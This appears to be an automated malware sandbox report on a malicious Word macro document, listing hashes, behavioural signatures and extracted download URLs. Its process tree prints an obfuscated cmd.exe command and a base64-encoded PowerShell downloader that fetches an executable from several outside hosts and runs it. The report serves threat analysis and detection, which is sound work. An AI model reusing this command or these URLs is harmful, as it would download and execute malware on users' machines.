Analysis
-
max time kernel
150s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
-
submitted
26-04-2024 08:00
General
-
Target
00539bd67c6d76554cf98b8a0534b29a_JaffaCakes118.doc
-
Size
90KB
-
MD5
00539bd67c6d76554cf98b8a0534b29a
-
SHA1
ea36a86e04efbcb8d7097b6cb7db6d849ea6c194
-
SHA256
a07d61afa7f207280178d99e18dd80999cb15636b4815d1115379ed57739ff30
-
SHA512
6fada542f3228ca31d7824cbc63d140d327db52671f51a781ab8a2923bb52c6a6191f3da60750cd964d1ae513f2dac1662690979e9eecead3ce185c1ff8f83e5
-
SSDEEP
1536:fptJlmrJpmxlRw99NBd+aBd1dfaJKI+j:xte2dw99fpja0I+j
Malware Config
Extracted
http://djtosh.co.za/rrp
http://virginie.exstyle.fr/a
http://projettv.baudtanette.fr/FZ00c23Z
http://mujerproductivaradio.jacquelinezorrilla.com/O
http://esinvestmentinc.ezitsolutions.net/UIf
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 1 IoCs
-
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\00539bd67c6d76554cf98b8a0534b29a_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /V:^o ^ ^ /R" ^s^e^T ^ ^ ^Qud^b=AACAg^AA^IA^ACAg^A^A^I^AACAg^A^AI^AACA^g^AA^I^AACAgA^A^IA^ACAgAQ^fA0^HA7B^Aa^AMGA^0BQ^Y^A^MGA9^B^w^OAs^GAhBQZ^AI^H^AiBw^O^A^I^E^A^w^BgcA^QCAg^AQbA^U^GA0B^Q^S^A0C^AlBw^aA8^GA^2B^g^b^A^kEA7^A^QKAI^E^A^wB^gcA^QCAgAA^LA^4^EA^Z^Bwc^A^QCA^oA^QZ^A^wG^ApB^gR^A^Q^GAh^B^wb^A^wG^Au^BwdA8^G^AEB^g^L^A^gGAkBQW^A^QC^A^7BQeAI^HA0^B^weA^kC^A^k^Bw^U^Ao^HAkA^A^I^A4^GApBA^I^A^4^E^AZBwcA^QCAo^A^AaAMG^AhBQZAIHAvB^gZ^As^D^An^AQZAg^HAl^B^g^L^AcCAr^A^Q^b^AEF^A^D^B^AJ^AsCAn^A^A^XAcC^Ar^AwYAkGAs^Bg^Y^A^U^HAwBg^OA^Y^HAuBQZA^QCA^9A^g^QA^A^H^A^y^B^AJ^AsDAn^A^AOA^QD^A^3^A^w^JA^AC^A9A^A^IA^0GARBwQA^QC^A7A^Q^K^AcCA^A^Bw^J^A^gC^A^0B^Qa^A^w^GA^wBwUA4C^An^A^gZ^A^kEAVBw^LA^Q^H^Al^B^gb^A4CA^zBgbA8^G^Ap^BAdAUH^AsB^w^b^AM^HA^0^B^Q^a^A^oHA^lBgL^AMG^Au^B^QaAQHAuBQ^Z^A0G^A0^BwcA^U^GA^2BgbAkG^Az^B^Q^Z^A8CAv^A^g^OA^A^HA^0^B^Ad^Ag^G^A^A^B^w^T^A^8C^A^t^Bw^bAMGA^uA^QYAwG^A^sB^Q^a^AIHA^yB^w^b^AoHA^l^B^gbA^kG^As^B^QZA^UHA^x^Bw^Y^AE^G^A^qBg^LA8GApB^AZ^A^E^G^Ay^B^QY^A^YHA^p^BA^dAMGA^1^B^A^ZA8GAy^BAcAI^H^AlBg^a^A^UHAtBw^L^A8C^A6^A^Ac^AQ^HA^0B^A^aA^AEA^a^Bw^M^AI^D^A^jB^AMA^A^D^Aa^B^gRA8C^A^yBg^Z^A^4CAl^BAdAQH^AlBgbAE^G^A0BAZA^U^HA^hBgYA4C^A2^BA^d^A^Q^H^A^lB^gaA^8^G^AyBAcA8C^AvA^g^O^AA^HA^0B^A^d^AgG^A^A^B^Q^Y^A^8C^AyBg^Z^A^4C^A^l^B^A^b^Ak^H^A^0B^wcA^g^H^A^l^B^g^L^AU^G^A^pBgb^Ak^GAnB^gc^A^kG^A2^Bw^L^A^8CA6^A^AcA^Q^HA^0^BAa^A^A^EAw^Bgc^AIH^AvAQY^A^oH^Au^AwbA^M^G^Au^A^AaAM^H^AvB^AdA^o^GAk^B^w^LA8CA6AAc^AQHA^0BA^a^AcCA9A^AZAM^FA^6BAJA^s^DA^0B^gbAU^GA^p^B^Ab^AM^E^A^iBQZAcFA^u^A^A^dA^UG^AOB^A^I^A^QHAjB^Q^Z^AoG^A^iB^w^bA^0CA^3^BQ^ZA^4G^A9^AAa^A^QG^A^Z^B^AJ ^e^-^ l^le^hsre^w^op& f^Or /^l %^u ^IN ( ^ ^1^0^53 ^,^ ^ ^-1, ^ ^ 0) d^O ^sE^t ^Y4^Z=!^Y4^Z!!^Qud^b:~%^u, 1!&&^i^f %^u ^l^eQ ^0 C^a^lL %^Y4^Z:^~ -^10^5^4% "2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABZAGQAaAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB6AFMAZAA9ACcAaAB0AHQAcAA6AC8ALwBkAGoAdABvAHMAaAAuAGMAbwAuAHoAYQAvAHIAcgBwAEAAaAB0AHQAcAA6AC8ALwB2AGkAcgBnAGkAbgBpAGUALgBlAHgAcwB0AHkAbABlAC4AZgByAC8AYQBAAGgAdAB0AHAAOgAvAC8AcAByAG8AagBlAHQAdAB2AC4AYgBhAHUAZAB0AGEAbgBlAHQAdABlAC4AZgByAC8ARgBaADAAMABjADIAMwBaAEAAaAB0AHQAcAA6AC8ALwBtAHUAagBlAHIAcAByAG8AZAB1AGMAdABpAHYAYQByAGEAZABpAG8ALgBqAGEAYwBxAHUAZQBsAGkAbgBlAHoAbwByAHIAaQBsAGwAYQAuAGMAbwBtAC8ATwBAAGgAdAB0AHAAOgAvAC8AZQBzAGkAbgB2AGUAcwB0AG0AZQBuAHQAaQBuAGMALgBlAHoAaQB0AHMAbwBsAHUAdABpAG8AbgBzAC4AbgBlAHQALwBVAEkAZgAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAQwBRAG0AIAA9ACAAJwA3ADQAOAAnADsAJAByAHAAQgA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABDAFEAbQArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAcwBZAE4AIABpAG4AIAAkAHoAUwBkACkAewB0AHIAeQB7ACQAWQBkAGgALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAcwBZAE4ALAAgACQAcgBwAEIAKQA7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAcgBwAEIAOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AH0AfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
136KB
-
Filesize
2.0MB
-
Filesize
15.8MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
15.8MB
-
Filesize
15.8MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
15.8MB
-
Filesize
15.8MB
-
Filesize
2.0MB
-
Filesize
15.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB